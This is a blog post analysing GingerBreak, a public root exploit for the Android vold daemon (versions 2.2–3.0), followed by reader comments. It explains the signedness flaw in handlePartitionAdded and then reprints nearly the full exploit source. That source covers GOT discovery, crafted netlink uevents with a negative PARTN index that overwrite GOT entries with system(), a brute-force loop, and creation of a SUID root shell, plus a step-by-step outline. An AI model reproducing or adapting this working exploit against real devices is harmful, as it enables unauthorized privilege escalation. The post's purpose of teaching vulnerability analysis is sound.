Android vold mPartMinors[] Signedness Issue
Earlier this day this “utility” was released by Sebastian Krahmer (aka stealth). You can find his published blog post and exploit code here. With this post I’m opening a new category which is obviously… “Android” since it has become almost a mainstream platform for exploit developers.
So, this time the vulnerability was part of the “vold” volume manager daemon. We can find the definition of the ‘mPartMinors[]’ array in DirectVolume.h header file as shown below.
typedef android::List<char *> PathCollection; class DirectVolume : public Volume { public: static const int MAX_PARTITIONS = 4; protected: PathCollection *mPaths; int mDiskMajor; int mDiskMinor; int mPartMinors[MAX_PARTITIONS]; int mDiskNumParts; int mPendingPartsCount; ... };
Now a look at DirectVolume.cpp shows how the initialization of this array is performed.
DirectVolume::DirectVolume(VolumeManager *vm, const char *label, const char *mount_point, int partIdx) : Volume(vm, label, mount_point) { mPartIdx = partIdx; mPaths = new PathCollection(); for (int i = 0; i < MAX_PARTITIONS; i++) mPartMinors[i] = -1; ... setState(Volume::State_NoMedia); }
This file also contains the exploited vulnerability located in the following C++ method.
void DirectVolume::handlePartitionAdded(const char *devpath, NetlinkEvent *evt) { int major = atoi(evt->findParam("MAJOR")); int minor = atoi(evt->findParam("MINOR")); int part_num; const char *tmp = evt->findParam("PARTN"); if (tmp) { part_num = atoi(tmp); } else { SLOGW("Kernel block uevent missing 'PARTN'"); part_num = 1; } if (part_num > mDiskNumParts) { mDiskNumParts = part_num; } ... if (part_num > MAX_PARTITIONS) { SLOGE("Dv:partAdd: ignoring part_num = %d (max: %d)\n", part_num, MAX_PARTITIONS); } else { mPartMinors[part_num -1] = minor; } --mPendingPartsCount; ... }
As you can see, the signed integer ‘part_num’ is derived from the user controlled ‘evt->findParam(“PARTN”)’ value. Also, as stealth noticed this is only checked against the maximum allowed values. However, since this is a signed integer by providing a negative value the attacker is able to bypass the checks and perform an arbitrary memory write operation controlling both the offset (via the ‘part_num’ index) and the value that will be written (via the ‘minor’ parameter).
Now to the interesting part, the exploit (aka GingerBreak)…
First of all, since I think it is appropriate, here is the comment section of the exploit (GingerBreak.c).
/* android 2.2-3.0 vold root exploit "mPartMinors[] (NPARTS) out of bounds write" * (checked for upper limit but not against negative values). * * Exploited by changing GOT entry of strcmp(),atoi() etc. to system() * and then triggering such call with provided pointer. :D * We nevermind NX protections and what they call ROP. * * (C) 2010-2011 The Android Exploid Crew * * Before using, insert empty formatted sdcard. USE IT AT YOUR OWN RISK, THIS PROGRAM * MIGHT NOT WORK OR MAKES YOUR DEVICE USELESS/BRICKED. SO BE WARNED! * I AM NOT RESPONSIBLE FOR ANY DAMAGE IT MIGHT CAUSE! * * It only works if called from adb shell since we need * group log. * */
With that being said, we can start the analysis from the main() function of the exploit code.
int main(int argc, char **argv, char **env) { uint32_t i = 0, j = 0, idx = 0; char *ash[] = {sh, 0}; struct stat st; char build_id[256], version_release[256]; if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh")) do_root(); printf("\n[**] Gingerbreak/Honeybomb -- android 2.[2,3], 3.0 softbreak\n"); printf("[**] (C) 2010-2011 The Android Exploid Crew. All rights reserved.\n"); printf("[**] Kudos to jenzi, the #brownpants-party, the Open Source folks,\n"); printf("[**] Zynamics for ARM skills and Onkel Budi\n\n"); printf("[**] donate to 7-4-3-C@web.de if you like\n[**] Exploit may take a while!\n\n");
So, if this is executed by root and its filename is ‘boomsh’ it will invoke do_root(). You will understand why this is happening later by reading his code. As you might have guessed, do_root() is nothing really fancy, just this.
static char *sh = "/data/local/tmp/sh"; ... static void do_root() { remount_data("/data"); chown(sh, 0, 0); chmod(sh, 04711); exit(0); }
Before changing the owner/group and permissions of the ‘sh’ shell, it invokes another routine named remount_data().
static int remount_data(const char *mntpoint) { FILE *f = NULL; int found = 0; char buf[1024], *dev = NULL, *fstype = NULL; if ((f = fopen("/proc/mounts", "r")) == NULL) return -1; memset(buf, 0, sizeof(buf)); for (;!feof(f);) { if (fgets(buf, sizeof(buf), f) == NULL) break; if (strstr(buf, mntpoint)) { found = 1; break; } } fclose(f); if (!found) return -1; if ((dev = strtok(buf, " \t")) == NULL) return -1; if (strtok(NULL, " \t") == NULL) return -1; if ((fstype = strtok(NULL, " \t")) == NULL) return -1; return mount(dev, mntpoint, fstype, MS_REMOUNT, 0); }
After parsing the ‘/proc/mounts’ to discover the requested mount point, it uses mount(2) system call to re-mount the aforementioned mount point.
Now back to main() we continue the execution with some envinroment information gathering.
static char *sh = "/data/local/tmp/sh"; static char *bsh = "/data/local/tmp/boomsh"; ... if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0) die("[-] Cannot copy boomsh."); chmod(bsh, 0711); __system_property_get("ro.build.id", build_id); __system_property_get("ro.build.version.release", version_release); if (strstr(build_id, "HONEY") || strstr(build_id, "Honey") || strstr(build_id, "honey") || strstr(version_release, "comb")) { printf("[+] Detected honeycomb! Starting honeybomb mode (scale=10).\n"); scale = 10; honeycomb = 1; } else if (strstr(build_id, "FR") || strstr(build_id, "Fr") || strstr(build_id, "fr")) { printf("[+] Detected Froyo!\n"); froyo = 1; } else printf("[+] Plain Gingerbread mode!\n");
It copies the current executable to ‘/data/local/tmp/boomsh’ and system’s shell binary to ‘/data/local/tmp/sh’. It updates the boomsh’s permissions and then uses __system_property_get() to obtain the operating system’s information. Then depending on its release it updates some values that will be later used in the exploit in order to be operational in all “Honeycomb”, “Froyo” and other versions.
The copy() routine you see above is nothing more than a simple copying routine.
static int copy(const char *from, const char *to) { int fd1, fd2; char buf[0x1000]; int r = 0; if ((fd1 = open(from, O_RDONLY)) < 0) return -1; if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) { close(fd1); return -1; } for (;;) { r = read(fd1, buf, sizeof(buf)); if (r <= 0) break; if (write(fd2, buf, r) != r) break; } close(fd1); close(fd2); sync(); sync(); return r; }
Continuing the information gathering stage, the main() routine will call the following functions…
static struct { pid_t pid; uint32_t got_start, got_end; uint32_t system; char *device; char found; } vold; ... find_vold(&vold); find_got("/system/bin/vold"); find_device(); printf("[*] vold: %04d GOT start: 0x%08x GOT end: 0x%08x\n", vold.pid, vold.got_start, vold.got_end);
So, we have three new routines and a printf(3) call that provides information about the .GOT section. The first one, find_vold() is shown here.
static void find_vold() { char buf[2048], *ptr = NULL; int i = 0, fd; pid_t found = 0; FILE *f = NULL; vold.found = 0; if ((f = fopen("/proc/net/netlink", "r")) == NULL) die("[-] fopen"); for (;!feof(f);) { memset(buf, 0, sizeof(buf)); if (!fgets(buf, sizeof(buf), f)) break; if ((ptr = strtok(buf, "\t ")) == NULL) break; if ((ptr = strtok(NULL, "\t ")) == NULL) break; if ((ptr = strtok(NULL, "\t ")) == NULL) break; if (!*ptr) break; i = atoi(ptr); if (i <= 1) continue; sprintf(buf, "/proc/%d/cmdline", i); if ((fd = open(buf, O_RDONLY)) < 0) continue; memset(buf, 0, sizeof(buf)); read(fd, buf, sizeof(buf) - 1); close(fd); if (strstr(buf, "/system/bin/vold")) { found = i; break; } } fclose(f); if (!found) return; vold.pid = found; vold.found = 1; /* If already called no need to look for the mappings again as * they wont change */ if (vold.system) return; ptr = find_symbol("system"); vold.system = (uint32_t)ptr; printf("[+] Found system: %p strcmp: %p\n", ptr, find_symbol("strcmp")); return; }
It opens the ‘/proc/net/netlink’ and scans it in order to find ‘/system/bin/vold’. Finally, it invokes find_symbol() to locate the system(3) and strcmp(3) symbols’ addresses. Moving to find_symbol() we have the following…
static void *find_symbol(char *sym) { void *r = NULL; void *dlh = dlopen("/system/libc/libc.so", RTLD_NOW); if (!dlh) die("[-] dlopen"); if ((r = (void *)dlsym(dlh, sym)) == NULL) die("[-] dlsym"); dlclose(dlh); return r; }
So, it uses ‘/system/libc/libc.so’ (the system’s C library) to discover the requested symbol. Back to main() we had a call to find_got() passing the binary’s full path. Here is this function.
static void find_got(char *file) { int fd, i; Elf32_Ehdr ehdr; Elf32_Phdr phdr; Elf32_Dyn *dyn = NULL; size_t dyn_size = 0; memset(&ehdr, 0, sizeof(ehdr)); memset(&phdr, 0, sizeof(phdr)); if ((fd = open(file, O_RDONLY)) < 0) die("[-] open"); if (read(fd, &ehdr, sizeof(ehdr)) != sizeof(ehdr)) die("[-] read"); if (lseek(fd, ehdr.e_phoff, SEEK_SET) != ehdr.e_phoff) die("[-] lseek"); for (i = 0; i < ehdr.e_phnum; ++i) { if (read(fd, &phdr, sizeof(phdr)) != sizeof(phdr)) die("[-] read"); if (phdr.p_type == PT_DYNAMIC) break; } if (phdr.p_type != PT_DYNAMIC) die("[-] No GOT found!"); if (lseek(fd, phdr.p_offset, SEEK_SET) != phdr.p_offset) die("[-] lseek"); dyn_size = phdr.p_filesz; printf("[+] Found PT_DYNAMIC of size %d (%d entries)\n", dyn_size, dyn_size/sizeof(Elf32_Dyn)); if ((dyn = malloc(dyn_size)) == NULL) die("[-] malloc"); if (read(fd, dyn, dyn_size) != dyn_size) die("[-] read"); close(fd); for (i = 0; i < dyn_size/sizeof(Elf32_Dyn); ++i) { if (dyn[i].d_tag == DT_PLTGOT) break; } if (dyn[i].d_tag != DT_PLTGOT) die("[-] No GOT found!"); vold.got_start = dyn[i].d_un.d_ptr; free(dyn); /* Not really the end, but who cares, 64 entries should be enough */ vold.got_end = vold.got_start + scale*64; printf("[+] Found GOT: 0x%08x\n", vold.got_start); }
This routine uses the ELF-32 API to open the requested file and parse its ELF header. It looks for ‘DT_PLTGOT’ to locate the .GOT section and it assumes that it does not exceed the 64 entries which are either way enough for the exploit to work reliably. The scale argument is a version specific value which was calculated earlier.
At last, main() calls find_device() which is shown below.
static char *default_dev = "/devices/platform/msm_sdcc.2/mmc_host/mmc1"; ... static void find_device() { char buf[1024], *dev = NULL, *sp = NULL; FILE *f; if ((f = fopen("/etc/vold.fstab", "r")) == NULL) { if ((f = fopen("/system/etc/vold.fstab", "r")) == NULL) { printf("[-] No vold.fstab found. Using default.\n"); vold.device = strdup(default_dev); return; } } for (;!feof(f);) { memset(buf, 0, sizeof(buf)); if (!fgets(buf, sizeof(buf), f)) break; if (buf[0] == '#') continue; if (strstr(buf, "dev_mount") && (dev = strstr(buf, "/devices/"))) break; } fclose(f); if (!dev) { printf("[-] No device found. Using default.\n"); vold.device = strdup(default_dev); } else { if ((sp = strchr(dev, ' '))) { *sp = 0; vold.device = strdup(dev); } else if ((sp = strchr(dev, '\n'))) { *sp = 0; vold.device = strdup(dev); } else { printf("[-] No device found. Using default.\n"); vold.device = strdup(default_dev); } } printf("[+] Using device %s\n", vold.device); }
This will use either ‘/etc/vold.fstab’ or ‘/system/etc/vold.fstab’ to discover the device. Moving to main() once again, we have…
static pid_t logcat_pid = 77; ... static char *crashlog = "/data/local/tmp/crashlog"; ... idx = find_index(); kill(logcat_pid, SIGKILL); unlink(crashlog);
The most important step here is the call to find_index() that will calculate the correct index value for the ‘mPartMinors[]’ array. Then it will attempt to kill the logcat and remove the crash log which makes more sense after reading find_index() you see here.
static uint32_t find_index() { uint32_t min = 0, max = vold.got_start, fault_addr = 0, idx = 0; char buf[1024], *ptr = NULL; FILE *f = NULL; long pos = 0; system("/system/bin/logcat -c"); unlink(crashlog); if ((logcat_pid = fork()) == 0) { char *a[] = {"/system/bin/logcat", "-f", crashlog, NULL}; execve(*a, a, environ); exit(1); } sleep(3); idx = scale*0x1000/4; for (;;) { if (do_fault(idx, 1) < 0) continue; /* Give logcat time to write to file */ sleep(3); if ((f = fopen(crashlog, "r")) == NULL) die("[-] Unable to open crashlog file"); fseek(f, pos, SEEK_SET); do { memset(buf, 0, sizeof(buf)); if (!fgets(buf, sizeof(buf), f)) break; if ((ptr = strstr(buf, "fault addr ")) != NULL) { ptr += 11; fault_addr = (uint32_t)strtoul(ptr, NULL, 16); printf("[*] vold: %04d idx: %d fault addr: 0x%08x\n", vold.pid, -idx, fault_addr); } } while (!feof(f)); pos = ftell(f); fclose(f); if (fault_addr > min && fault_addr < max) { printf("[+] fault address in range (0x%08x,idx=%d)\n", fault_addr, -idx); break; } idx += 0x1000/4; } // Honeycomb needs scaling by 10 idx = (fault_addr + 4*idx - vold.got_start)/4; if (scale > 1) idx = scale*(fault_addr + 4*idx/scale - vold.got_start)/4; printf("[+] Calculated idx: %d\n", -idx); return idx; }
As you can see, find_index() will clear the logcat logs via the system(3) call and remove the ‘/data/local/tmp/crashlog’ log. Then, it will restart it using ‘/data/local/tmp/crashlog’ as its log file. Next, after calculating the index value to be used, it will enter a loop checking for failed exploitation attempts by scanning the error log file for the ‘fault addr ‘ string. If this is the case, it will retrieve the addresses that caused the fault and perform the final index calculation based on these values.
During each iteration, do_fault() is called passing the index. Here is this function…
static int do_fault(uint32_t idx, int oneshot) { char buf[0x1000]; struct sockaddr_nl snl; struct iovec iov = {buf, sizeof(buf)}; struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0}; int sock = -1, n = 0; do { find_vold(); usleep(10000); } while (!vold.found); usleep(200000); memset(buf, 0, sizeof(buf)); memset(&snl, 0, sizeof(snl)); snl.nl_family = AF_NETLINK; if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0) die("[-] socket"); snl.nl_pid = vold.pid; memset(buf, 0, sizeof(buf)); n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c" "DEVPATH=%s%c" "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=%d", 0, 0, 0, vold.device, 0, 0, vold.system, 0, 0, -idx); msg.msg_iov->iov_len = n; n = sendmsg(sock, &msg, 0); if (n < 0 || oneshot) { close(sock); return n; } usleep(500000); /* Trigger any of the GOT overwriten strcmp(), atoi(), strdup() etc. * inside vold main binary. * Arent we smart? Using old school technique from '99 to fsck NX while others * re-invent "ROP". Wuhahahahaha!!! */ if (honeycomb) { n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c" "SEQNUM=%s%cDEVPATH=%s%c" "MAJOR=%s%cMINOR=%s%cDEVTYPE=%s%cPARTN=1", 0, 0, 0, bsh, 0, bsh, 0, bsh, 0, bsh, 0, bsh, 0); } else if (froyo) { n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c" "DEVPATH=%s%c" "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1", 0, 0, 0, bsh, 0, 0, vold.system, 0, 0); } else { n = snprintf(buf, sizeof(buf), "%s;@%s%cACTION=%s%cSUBSYSTEM=%s%c" "SEQNUM=%s%cDEVPATH=%s%c" "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1", bsh, bsh, 0, bsh, 0, bsh, 0, bsh, 0, bsh, 0, 0, vold.system, 0, 0); } msg.msg_iov->iov_len = n; n = sendmsg(sock, &msg, 0); close(sock); return n; }
This is the actual trigger code. It uses a NetLink socket to send the malicious messages with the negative index value. Moving back to main() we have…
for (i = idx; j++ < (vold.got_end - vold.got_start); --i) { if (do_fault(i, 0) < 0) { ++i; --j; printf("[-] sendmsg() failed?\n"); continue; } printf("[*] vold: %04d idx: %08d\n", vold.pid, -i); fflush(stdout); stat(sh, &st); if ((st.st_mode & 04000) == 04000) { printf("\n\n[!] dance forever my only one\n"); break; } }
This brute-force loop will attempt to exploit the addresses within the .GOT range using the previously mentioned do_fault() routine. Using stat(2) it checks if the ‘sh’ mode includes SETUID bit and it will break out of the loop if this is the case. Next, main() goes like this…
/* Last try, sometimes vold cant handle 2 receives in the order * we like by do_fault() */ if ((st.st_mode & 04000) != 04000) { last_try(); last_try(); stat(sh, &st); if ((st.st_mode & 04000) == 04000) { printf("\n[+] You are in luck! Last try succeeded!\n"); } else { printf("\n[-] Bad luck. Fixed vold?\n"); exit(1); } } execve(*ash, ash, env); return 0; }
So, the last_try() routine does not use do_fault() you saw earlier but instead is like this.
/* Needed to make it work on 2.2 too */ static int last_try() { char buf[0x1000]; struct sockaddr_nl snl; struct iovec iov = {buf, sizeof(buf)}; struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0}; int sock = -1, n = 0; do { find_vold(); usleep(10000); } while (!vold.found); memset(buf, 0, sizeof(buf)); memset(&snl, 0, sizeof(snl)); snl.nl_family = AF_NETLINK; if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0) die("[-] socket"); snl.nl_pid = vold.pid; memset(buf, 0, sizeof(buf)); n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c" "DEVPATH=%s%c" "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1", 0, 0, 0, bsh, 0, 0, vold.system, 0, 0); msg.msg_iov->iov_len = n; n = sendmsg(sock, &msg, 0); sleep(3); close(sock); return 0; }
So, as an outline…
1) Make a copy of the exploit to /data/local/tmp/boomsh
2) Make a copy of system’s shell to /data/local/tmp/sh
3) Information gathering
4) Locate vold
5) Find vold’s .GOT addresses range
6) Find the device (default /devices/platform/msm_sdcc.2/mmc_host/mmc1)
7) Restart logcat using /data/local/tmp/crashlog as log file
8) Find the right index
9) Terminate logcat and remove crashlog
10) Bruteforce the .GOT range
11) Exploit it using NETLINK messages that will pass system()’s address as the MINOR value (value to be written) and the negative index to PARTN (index array)
12) vold will attempt to call the overwritten function and consequently it will call: system(“/data/local/tmp/boomsh”). Since this is executed as root, the initial UID check will be true and the following steps will be executed:
12a) Remount /data
12b) Make ‘/data/local/tmp/sh’ a SUID root binary
12c) exit
13) main() will check the ‘/data/local/tmp/sh’ permissions and if it is SUID root, it will execute it.
I really liked the information gathering in this exploit code. Great work.
To give valid credits, this was written by “The Android Exploid Crew” or T.A.E.C. or using the 7350‘s way…
:)
I was looking at the source code to understand it, i am no gud at c, just trying to understand and I stumbled upon this very nice write-up. Thx for this article dude.
tutysara
June 23, 2011 at 08:18
Great write up and nice explanation.
Stu MacDonald
November 3, 2011 at 10:10
this is great explanation of the code. Thanks for putting things up. I have one question. What is the fault which we create through vold. We keep looking for fault address. When we try to write “.got” area, we write to “read only” area. Is that the fault or is it something else. How come we are allowed to write to read only area of vold.
Thanks
sid_agarkar
December 12, 2011 at 21:18
There doesn’t seem to be any issue with DT_PLTGOT having limited permissions but unfortunately I cannot test it right now to verify it. If possible, please check the permissions of DT_PLTGOT on any of the affected versions of Android (3.0 and 2.x before 2.3.4) and let us all know.
Sorry for the not-really-helpful reply
xorl
December 14, 2011 at 08:24
So the index value (presumably the GOT entry for strcmp() etc) is always below the array? IE, if we go far enough negative in the array index (any array?) we will eventually hit the GOT? can you further explain the index calculation portion?
from what i gather, the exploit is just trying to overwrite any address within the GOT (which is either atoi(), strcmp(), etc) and replace that with system(). so then when we send it a “legitimate” message via Netlink, we pass an argument for our rootshell.
z
May 23, 2012 at 10:55
Thank you….Searched a lot for the exploit. Finally found here more than I thought..
Deepal
July 9, 2013 at 21:19